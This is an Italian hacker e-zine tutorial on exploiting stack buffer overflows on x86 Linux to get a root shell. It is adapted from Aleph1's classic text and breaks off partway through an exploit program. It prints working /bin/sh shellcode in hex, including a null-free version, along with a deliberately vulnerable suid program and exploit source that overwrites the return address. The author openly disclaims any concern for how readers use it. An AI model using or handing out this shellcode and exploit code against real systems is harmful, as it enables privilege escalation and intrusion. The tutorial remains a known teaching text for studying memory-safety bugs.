============================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- --------------------[ previous ]---[ index ]---[ next ]--------------------- -----------------------------[ BUFFER 0VERFL0WS ]----------------------------- ---------------------------------[ SirCondor ]-------------------------------- MU$iCa A$ColTaTA : TOOL - 46&2 / SOUNDGARDEN - 4th OF JULY METALLICA - WELCOME HOME CiB0 1NGEriT0 : n. 1 Piadina con prosciutto e fontina n. 2 Banane semi-verdi n. 1 Succo d'arancia al 40% (leggi: acqua colorata) SalUtI : Tutti i fratellini / fratelloni di Orda (grazie di esistere) DIO (grazie di non esistere) Reactive, ER piu' grande acher der tufello! :) JUS, nonostante tutto ti voglio bene... V4ffancUl0 A : Milosevic e gli altri nazisti di merda. Il postino che porta la bolletta del telefono :) Italia1 che massacra indegnamente i Simpsons con la pubblicita' -INTRO- Ok, questo e' il mio primo articolo per BFi e volevo uniformarmi allo stile :) E sempre seguendo questa linea vorrei precisare che i contenuti di questo articolo sono a scopo puramente informativo blah blah blah. Non mi frega un cazzo di quello che farete con queste informazioni. Che io sappia non esistono testi in italiano che trattino quest'argomento, e anche quelli in inglese non sono certo numerosi. L'unico veramente degno di nota e' quello di Aleph1, "Smashing the Stack for Fun and Profit", contenuto nel numero 49 di Phrack (www.phrack.com). Quest'articolo riprende alcune parti di quel testo (gli esempi e le sessioni di debugging ad esempio), ma ho cercato di chiarire un po' le parti piu' "complicate". Resta comunque d'obbligo, per capire questo articolo, una discreta conoscenza del C, e una rudimentale conoscenza dell'assembler. Ok, dopo tanta inutilita', vediamo di darci da fare :)) - COS'E' UN BUFFER OVERFLOW ? - Spero che tutti sappiate che cos'e' un buffer (se non lo sapete, passate al prossimo articolo o tornate a giocare a Quake II). In sostanza e' una serie continua di celle di memoria di un calcolatore che contengono informazioni di uno stesso tipo (numeri, caratteri ecc.). Un po' meno ovvio e' che cosa sia un "overflow". Il fido vocabolario di inglese ci puo' dare in questo caso una mano. OVERFLOW : v.t. Riempire oltre il limite, Far traboccare. Quindi, facendo 2 + 2, un "buffer overflow" consiste nel mettere in un buffer piu' dati di quanto esso non sia stato predisposto ad accogliere. Lo so cosa state pensando..."cosa cazzo centra questo col prendere la root in un sistema?". Ebbene, centra, fidatevi. - I PROCESSI E LA MEMORIA NEI SISTEMI UNIX - Beh, innanzitutto credo che una spiegazione di cosa sia lo stack e' doverosa. Lo STACK e' una delle tre aree di memoria in cui e' organizzato un processo. Le tree aree sono l'area di testo (TEXT), l'area dati (DATA) e l'area stack (STACK), e sono cosi' organizzate in memoria: /------------------\ indirizzi ALTI di memoria | | | STACK | | | |------------------| | (Non inizializ.) | | DATA | | (Inizializzati) | |------------------| | | | TEXT | | | \------------------/ indirizzi BASSI di memoria (verso 0x00000000) All'atto di eseguire il programma, le zone TEXT e DATA sono trasferite nella memoria. Nella regione DATA possiamo distinguere due tipi di dati: inizializzati e non inizializzati (detti anche "BSS"). Fanno parte dei dati "BSS" le variabili "static", ad esempio. La regione STACK occupa gli indirizzi di memoria piu' alti. Quindi, un processo che sta girando in memoria avra' piu' o meno questo aspetto, dal punto di vista della memoria: |------------------| Indirizzi piu' ALTI |proc. kernel stack| |------------------| | red zone | |------------------| | user area | |------------------| | struc. ps_string | --> INFORMAZIONI SUL PROCESSO |------------------| | signal code | |------------------| -----------\ | env strings | \ |------------------| \ | argv strings | \ |------------------| \ | env pointers | ARGOMENTI PASSATI ALL'ESEGUIBILE |------------------| / E VARIABILI D'AMBIENTE | argv pointers | / |------------------| / | argc | / |------------------| -----------/ | STACK | | | | | | | | V | | | | | | ^ | | | | | | | | HEAP | |------------------| | BSS | --> DATI NON INIZIALIZZATI |------------------| | Initialized data | --> DATI INIZIALIZZATI |------------------| | TEXT | |------------------| Indirizzi piu' BASSI (verso 0x00000000) Lo stack, che nei processori Intel cresce verso il basso (verso indirizzi di memoria numericamente minori), funziona col principio LIFO (Last In, First Out), cioe' e' paragonabile ad una grande pila in cui vengono "accatastati" o ritirati dei dati. Queste operazioni avvengono quindi sempre e solo sulla cima della pila. Nel linguaggio assembler, l'istruzione PUSH mette un dato in cima alla pila, e l'istruzione POP recupera dalla cima l'ultimo dato che e' stato "PUSHato". In pratica, in pseudo-assembler: MOV a,10 ; a = 10 MOV b,20 ; b = 20 PUSH a PUSH b POP a ; adesso a=20 POP b ; e b = 10 Normalmente i dati sono ritirati nell'ordine inverso in cui sono stati salvati sullo stack. In questo caso, a titolo di esempio, il principio e' stato violato. - A COSA SERVE LO STACK ? - Per strutturare i programmi, i linguaggi di alto livello come il C e il Pascal permettono la definizione di funzioni e procedure. Una volta terminata l'esecuzione di queste, il controllo deve in qualche modo tornare al programma chiamante, e precisamente all'istruzione IMMEDIATAMENTE successiva alla chiamata di funzione. E' risaputo che funzioni e procedure possono avere delle variabili locali, e possono accettare parametri dal programma chiamante. Bene. Lo stack serve sostanzialmente a questo: memorizzare le variabili locali delle funzioni e gli argomenti a loro passati. - ARCHITETTURA x86 - Nei processori Intel, dal 386 al Pentium II, il registro ESP viene usato per puntare COSTANTEMENTE alla cima dello stack. Quindi un'istruzione "PUSH" provochera' la diminuzione del valore di ESP (ricordate che lo stack cresce verso indirizzi di memoria numericamente piu' bassi), mentre un'istruzione "POP" ne provochera' l'aumento. Una funzione potrebbe quindi teoricamente accedere alle sue variabili locali tramite un indirizzamento a partire da ESP... il problema e' che il valore di ESP cambia continuamente ad ogni istruzione PUSH e POP, e quindi questo non sarebbe molto pratico. Nei processori x86 quindi, il registro EBP viene utilizzato come "FRAME POINTER" (FP). Il valore di EBP non cambia mai all'interno di una stessa funzione, e quindi sia gli argomenti ad essa passati che le sue variabili locali possono essere referenziate facilmente con un OFFSET che indichi la distanza da EBP. Ma cosa succede quando chiamiamo una funzione con dei parametri? Vediamo un breve esempio: esempio1.c: ---------- snip ---------- void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } ---------- snip ---------- Compiliamo questo breve programma con l'opzione -S del gcc, per generare codice assembler in output: $ gcc -S -o esempio1.s esempio1.c Questo e' il codice generato dal programma: ------------------------------------------------------------------------------ pushl $3 pushl $2 pushl $1 call function ------------------------------------------------------------------------------ Per prima cosa gli argomenti della funzione vengono salvati sullo stack in ordine inverso, poi la funzione viene chiamata. La chiamata a "call" fa si' che l'indirizzo della successiva istruzione da eseguire (EIP) venga salvato nello stack. Chiameremo questo valore "indirizzo di ritorno" (RET). Ora vediamo che cosa avviene all'interno della funzione: ------------------------------------------------------------------------------ pushl %ebp movl %esp,%ebp subl $20,%esp ------------------------------------------------------------------------------ Questa parte viene chiamata in gergo il "preludio" alla funzione. Per prima cosa EBP viene salvato sullo stack. Questo e' necessario per fare in modo che una volta terminata la funzione, il programma chiamante possa ritrovare il suo FRAME (contenente variabili locali e argomenti) semplicemente eseguendo un POP dallo stack. Poi il contenuto di ESP viene copiato in EBP, creando il nuovo FRAME POINTER, che sara' utilizzato dalla funzione per riferirsi ai suoi parametri (con offset positivi) e alle sue variabili locali (con offset negativi). Successivamente, allo STACK POINTER viene sottratto $20, per lasciare spazio alle variabili locali. Ora qualcuno si stara' giustamente chiedendo perche' cazzo viene sottratto 20 e non 15 (10 + 5), visto che un char occupa esattamente 1 byte. La memoria puo' essere indirizzata solo in multipli della "PAROLA" di memoria. Negli attuali processori, una parola e' composta da 4 byte. Quindi, un array di 5 char in realta' occupera' 8 byte (2 parole), e un array di 12 char ne occupera' 12 (3 parole). Quindi in totale le variabili locali della funzione prenderanno 20 byte. In pratica, dopo la chiamata alla funzione, lo stack avra' questo aspetto: Memoria BASSA [verso 0x00000000] Memoria ALTA buffer2 buffer1 fp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] cima dello base dello stack stack - BUFFER OVERFLOWS - Ok. Adesso viene il bello. Osserviamo questo programma: esempio2.c ---------- snip ---------- void function(char *str) { char buffer[16]; /* questa cazzata e' stata fatta come esempio... la cosa interessante e' che molti programmatori la fanno senza accorgersene! :) */ strcpy(buffer,str); } void main() { char large_string[256]; int i; /* ora riempiamo large_string con un carattere diverso da \0 */ for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } La funzione "function" contiene un errore di programmazione ben visibile: la funzione "strcpy" copia il contenuto di str (255 byte) in "buffer" (che ha una grandezza di 16 byte) senza controllare che la grandezza di "buffer" non sia superata. Ma come puo' questo errore essere sfruttato per eseguire codice arbitrario? Diamo un'occhiata allo stack di questo programma dopo la chiamata a "function": Memoria BASSA [verso 0x00000000] Memoria ALTA buffer fp ret *str <------ [ ][ ][ ][ ] cima dello base dello stack stack La funzione strcpy comincia a copiare nell'inizio di buffer, e continua finche' non trova uno zero in str (che non c'e', dato che str e' composta da 255 caratteri 'A'). Poiche' la copia avviene verso indirizzi crescenti di memoria (cioe' nel verso opposto in cui cresce lo stack), strcpy continuera' a copiare 'A' in memoria sovrascrivendo qualsiasi cosa essa contenga, compreso il RET (l'indirizzo della successiva istruzione da eseguire all'uscita della funzione). Forse adesso qualcuno comincia ad intravedere la possibilita' che ci si para davanti: modificare il flusso di esecuzione del programma! In questo caso il programma andrebbe in Segmentation Fault, perche' il RET sarebbe sovrascritto da tutte 'A' ( 0x41 esadecimale), e verrebbe a contenere quindi il valore 0x41414141. Essendo questo fuori dallo spazio di memoria riservato al processo, si otterrebbe una violazione di segmento. Vediamo subito un esempio pratico di come possiamo alterare il flusso di un nostro programma giocherellando un po' con il RET... esempio3.c: ---------- snip ---------- void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; /* ret contiene ora l'indirizzo di RET */ (*ret) += 8; /* ..che viene aumentato di 8 byte */ } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } ---------- snip ---------- Osservando i diagrammi di stack precedenti, possiamo vedere che il RET dista esattamente 12 byte dall'inizio di buffer1 ( 8 byte + 4 byte). Predisponiamo quindi un puntatore a RET, e ne cambiamo il valore in modo da far saltare al programma l'esecuzione dell'assegnazione x = 1. Per fare cio', basta aggiungere 8 byte al valore di RET. Per quelli di voi che si stanno chiedendo perche' (spero siano molti... chiedersi il perche' delle cose e' un ottima strada per abbandonare lo stato di LAMER :) ecco una sessione di debugging: ----------------------------------------------------------------------------- $ gdb example3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490 <main>: pushl %ebp 0x8000491 <main+1>: movl %esp,%ebp 0x8000493 <main+3>: subl $0x4,%esp 0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp) 0x800049d <main+13>: pushl $0x3 0x800049f <main+15>: pushl $0x2 0x80004a1 <main+17>: pushl $0x1 0x80004a3 <main+19>: call 0x8000470 <function> 0x80004a8 <main+24>: addl $0xc,%esp 0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp) 0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax 0x80004b5 <main+37>: pushl %eax 0x80004b6 <main+38>: pushl $0x80004f8 0x80004bb <main+43>: call 0x8000378 <printf> 0x80004c0 <main+48>: addl $0x8,%esp 0x80004c3 <main+51>: movl %ebp,%esp 0x80004c5 <main+53>: popl %ebp 0x80004c6 <main+54>: ret 0x80004c7 <main+55>: nop ------------------------------------------------------------------------------ Possiamo vedere che al momento della chiamata di funzione, RET contiene l'indirizzo dell'istruzione successiva da eseguire (0x80004a8). Ma noi vogliamo saltare l'assegnamento a=1, e arrivare alla posizione 0x80004b2. La distanza e' esattamente di 8 byte. - LO SHELL CODE - Cosa vogliamo far eseguire al programma quando tentiamo di sfruttare un buffer overflow? La prima cosa che mi viene in mente (e spero anche a voi...) e' una bella shell, in modo da continuare poi a dare comandi. Solo che c'e' un problemino... nel 99% dei casi il programma che stiamo cercando di exploitare non contiene il codice per eseguire una shell... ma non e' un gran problema: ce lo mettiamo noi! Un'ottima locazione per inserire il codice che esegue una shell e' proprio il buffer che stiamo cercando di OVERFLOWare (sto creando un nuovo vocabolario :) In pratica lo stack dovrebbe essere piu' o meno cosi': base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria buffer fp ret a b c <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| cima dello base dello stack stack Il codice per eseguire un shell in C e' questo: shellcode.c ---------- snip ---------- #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); /* man execve, per favore :) */ } ---------- snip ---------- Compiliamo il programmino con l'opzione -static (altrimenti il codice di execve non sarebbe incluso), e facciamo un po' di debugging: $ gcc -o shellcode -ggdb -static shellcode.c $ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------ Vediamo passo per passo cosa succede: ------------------------------------------------------------------------------ 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp Questo e' semplicemente il "preludio" alla funzione (vedi sopra). A ESP viene sottratto 8 perche' i due puntatori (char *name[2]) occupano una parola ciascuno (in tutto 8 byte). 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) Copiamo il valore 0x80027b8 (l'indirizzo della stringa "/bin/sh") nel primo puntatore di name[]. Questo corrisponde a: name[0] = "/bin/sh"; 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) Copiamo il valore 0x0 (NULL) nel secondo puntatore di name[], equivalente a: name[1] = NULL; Ora inizia la chiamata a execve(): 0x8000144 <main+20>: pushl $0x0 Salviamo gli argomenti di execve() in ordine inverso sullo stack, iniziando da NULL. 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax Carichamo in EAX l'indirizzo di name[]... 0x8000149 <main+25>: pushl %eax ...e lo spediamo nello stack. 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax Carichiamo in EAX l'indirizzo della stringa "/bin/sh"... 0x800014d <main+29>: pushl %eax ...e lo spediamo nello stack. 0x800014e <main+30>: call 0x80002bc <__execve> Finalmente chiamiamo execve(). Questo fa si' che EIP venga salvato sullo stack come indirizzo di ritorno (RET) ------------------------------------------------------------------------------ Ora diamo un'occhiata a execve(): ------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx Il classico "preludio". 0x80002c0 <__execve+4>: movl $0xb,%eax Copiamo 0xb (11 decimale) sullo stack. Questo e' l'indice della funzione excve() nella tabella delle chiamate di sistema. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Copiamo l'indirizzo di "/bin/sh" in EBX. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Copiamo l'indirizzo di name[] in ECX. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Copiamo l'indirizzo del puntatore a NULL in %edx. 0x80002ce <__execve+18>: int $0x80 Chiamiamo l'interrupt 80, entrando in kernel mode. ------------------------------------------------------------------------------ Se la chiamata ad execve() dovesse per qualche ragione fallire, il programma continuerebbe ad eseguire istruzioni dallo stack, e andrebbe probabilmente in core dump! Per evitare questo, mettiamo un'istruzione "exit(0);" dopo la chiamata ad execve(). Questa non fa altro che mettere 0x1 in EAX, il codice di uscita in EBX e chiamare l'interrupt 80. Niente di piu' semplice. - QUALCHE PROBLEMINO... - Il grande problema che ci troviamo ad affrontare quando tentiamo di scrivere un exploit per un qualche buffer overflow e' che non possiamo sapere DOVE, all'interno dell'area di memoria del programma che vogliamo exploitare, il nostro codice (e anche la stringa "/bin/sh") sara' messo. Ma anche questo puo' essere aggirato, anche se (purtroppo) non del tutto. Una possibile soluzione e' quello di usare una istruzione JMP e una CALL. Il bello di queste due istruzioni e' che non dobbiamo fornire necessariamente un indirizzo ASSOLUTO di memoria in cui vogliamo "saltare", ma va bene anche un indirizzo RELATIVO al puntatore di istruzione (EIP). E' quindi un'ottima idea quella di mettere l'istruzione call esattamente prima della stringa "/bin/sh", in modo che l'indirizzo di tale stringa venga salvato nello stack come indirizzo di ritorno, RET (come abbiamo visto, l'istruzione call salva nello stack l'indirizzo dell'istruzione successiva da eseguire e poi trasferisce il controllo alla funzione chiamata). Cosi' noi possiamo copiare questo RET in un registro e usarne il valore. Ma dove deve puntare l'istruzione call? semplice... all'inizio del nostro codice! Chiediamo in prestito ad Aleph1 un altro diagrammino esplicativo... J e' l'istruzione di jump, s e' la stringa "/bin/sh", C e' l'istruzione call: base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria buffer fp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) cima dello base dello stack stack In pratica, in assembler: ------------------------------------------------------------------------------ jmp offset-to-call # 2 bytes ------------\ popl %esi # 1 byte <----\ | movl %esi,array-offset(%esi) # 3 bytes | | movb $0x0,nullbyteoffset(%esi)# 4 bytes | | movl $0x0,null-offset(%esi) # 7 bytes | (2) | movl $0xb,%eax # 5 bytes | | movl %esi,%ebx # 2 bytes | | (1) leal array-offset,(%esi),%ecx # 3 bytes | | leal null-offset(%esi),%edx # 3 bytes | | int $0x80 # 2 bytes | | movl $0x1, %eax # 5 bytes | | movl $0x0, %ebx # 5 bytes | | int $0x80 # 2 bytes | | call offset-to-popl # 5 bytes ----/ <-----/ /bin/sh va qui. ------------------------------------------------------------------------------ Calcolando tutti gli offset in base alla lunghezza delle istruzioni, abbiamo: ------------------------------------------------------------------------------ jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes ------------------------------------------------------------------------------ C'e' un altro problema (ufff...). Il nostro codice modifica se stesso, ma la regione TEXT (in cui si trova il codice) e' marcata READ-ONLY da quasi tutti i sistemi operativi. Ma anche questo non e' un grande problema... mettiamo tutte queste istruzioni in un maxi array, e lo sbattiamo nell'area DATA :) Per fare cio', abbiamo bisogno di una rappresentazione esadecimale del nostro codice... niente di piu' facile. GDB ci da' ancora una mano: shellcodeasm.c ---------- snip ---------- void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ---------- snip ---------- Ed ecco il debugging: ------------------------------------------------------------------------------ $ gcc -o shellcodeasm -g -ggdb shellcodeasm.c $ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: jmp 0x800015f <main+47> 0x8000135 <main+5>: popl %esi 0x8000136 <main+6>: movl %esi,0x8(%esi) 0x8000139 <main+9>: movb $0x0,0x7(%esi) 0x800013d <main+13>: movl $0x0,0xc(%esi) 0x8000144 <main+20>: movl $0xb,%eax 0x8000149 <main+25>: movl %esi,%ebx 0x800014b <main+27>: leal 0x8(%esi),%ecx 0x800014e <main+30>: leal 0xc(%esi),%edx 0x8000151 <main+33>: int $0x80 0x8000153 <main+35>: movl $0x1,%eax 0x8000158 <main+40>: movl $0x0,%ebx 0x800015d <main+45>: int $0x80 0x800015f <main+47>: call 0x8000135 <main+5> 0x8000164 <main+52>: das 0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp 0x8000168 <main+56>: das 0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55> 0x800016b <main+59>: addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 *** questo comando mostra il valore esadecimale del byte che forniamo come argomento *** 0x8000133 <main+3>: 0xeb (gdb) 0x8000134 <main+4>: 0x2a (gdb) ......ripetere il procedimento per tutto lo shellcode (che palle!) Ok, vediamo subito se funziona: testsc.c char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *return; return = (int *)&return + 2; /* in effetti aggiunge 8 byte = 2 integers */ /* ricordatevi sempre la struttura dello stack, e che un int e' composto di 4 byte. Questa istruzione in effetti fa puntare return all'indirizzo di RET in memoria (che si trova 8 byte dall'inizio della variabile puntatore *return...lo so che e' un casino...beccatevi sto diagrammino (ogni spazio equivale a 1 byte): return fp RET [ ][ ][ ] ^ ^ |--8 byte---| */ (*return) = (int)shellcode; /* fa puntare RET al nostro shellcode, eseguendolo a tutti gli effetti */ } ---------- snip ---------- ------------------------------------------------------------------------------ $ gcc -o testsc testsc.c $ ./testsc $ exit $ ------------------------------------------------------------------------------ OH PEBBACCO, FUNCE! (mitico abatantuono vecchia maniera... :) Ma c'e' un altro problemino (stavolta veramente di facile facile soluzione..). Nel nostro shellcode non devono esserci byte impostati a zero, altrimenti la funzione strcpy smette di copiare il nostro shellcode nel buffer. Per aggirarlo sara' sufficiente sostituire qualche istruzione con qualcuna equivalente (che renda anche il codice piu' piccolo, magari...) Istruzione da cambiare: Sostituire con: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax Ok... questo e' il nostro shellcode nuovo fiammante: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; - E ORA QUALCOSA DI VERAMENTE DISTRUTTIVO... - Forse a questo punto qualcuno si stara' chiedendo perche' da una semplice shell di utente, un buffer overflow permette di ottenere una shell di root. Provate a dare un occhiata ai programmi che sono soggetti a buffer overflow... -rwsr-xr-x 1 root root 30520 May 5 1998 vulnerable Sapete cosa significa quella s nei permessi del file? Che il file puo' essere eseguito da un qualsiasi utente con i privilegi del propietario del file (root nel 99% dei casi). Questo e' a volte necessario ad alcuni programmi per aggiornare file di sistema scrivibili solo da root o per accedere, ad esempio, alla mailbox dell'utente. Per questo quando exploitiamo un file suid root, la shell che esso esegue e' di root... il programma che l'ha lanciata aveva a tutti gli effetti uid pari a ZERO! (root, per i piu' somarelli... :) I privilegi di root finiscono con l'esecuzione del file, quindi NORMALMENTE un file suidroot non e' un grosso "buco" nella sicurezza di sistema... purtroppo (o fortunatamente...:) i programmatori sbagliano (spesso). Forse qualcuno dira' "ma io ho visto un buffer overflow per il wuftp, ho controllato, ma il wuftp non e' suid root!"... certo, ma i demoni di sistema sono gestiti dall'inetd, che e' un processo di root... ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd Vedete quella quinta parolina? Significa che il demone deve essere lanciato come root, ed ecco spiegato l'arcano :) - UN PO' DI PRATICA - Ok... creiamo appositamente un programma vulnerabile ad un overflow e vediamo di riuscire a exploitarlo. Cio e' moooolto piu' facile di come effettivamente avviene di solito, perche' non dobbiamo tentare di indovinare dove il nostro codice andra' a finire... exploit1.c ---------- snip ---------- char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; /* il buffer da SFONDARE :) */ int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; /* riempiamo completamente il nostro buffer (large_string) con l'indirizzo di buffer */ for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; /* posizioniamo lo shellcode all'inizio del nostro buffer */ strcpy(buffer,large_string); /* il RET viene sovrascritto con l'indirizzo di buffer, che contiene il nostro shellcode , che viene eseguito */ } ---------- snip ---------- ------------------------------------------------------------------------------ $ gcc -o exploit1 exploit1.c $ ./exploit1 $ exit $ ------------------------------------------------------------------------------ Fin troppo facile! Le cose si complicano (molto) quando tentiamo di exploitare un buffer overflow in un ALTRO programma, perche' non sappiamo dove il buffer da OVERFLOWare (giuro che non lo dico piu':) si trovera'in memoria. E la soluzione e'... ci buttiamo a indovinare! Non scherzo... piu' o meno funziona cosi' :) Fortunatamente abbiamo varie tecniche che possono incrementare le nostre chances di successo. Sappiamo infatti che per ogni programma lo stack inizia allo stesso indirizzo, e che i programmi non salvano piu' di qualche centinaio o migliaio di byte sullo stack. Questo aumenta di moooooolto le nostre possibilita'. Ecco un programmino che stampa il suo ESP: esp.c ---------- snip ---------- unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ---------- snip ---------- Ora scriviamo un piccolo programmino vulnerabile, rendiamolo suid root, e tentiamo di exploitarlo: vulnerable.c ---------- snip ---------- void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); /* guarda dove scrivi, cazzone! :) */ } ---------- snip ---------- exploit2.c ---------- snip ---------- #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; /* l'indirizzo a cui si SUPPONE che il nostro codice si trovera' */ printf("Using address: 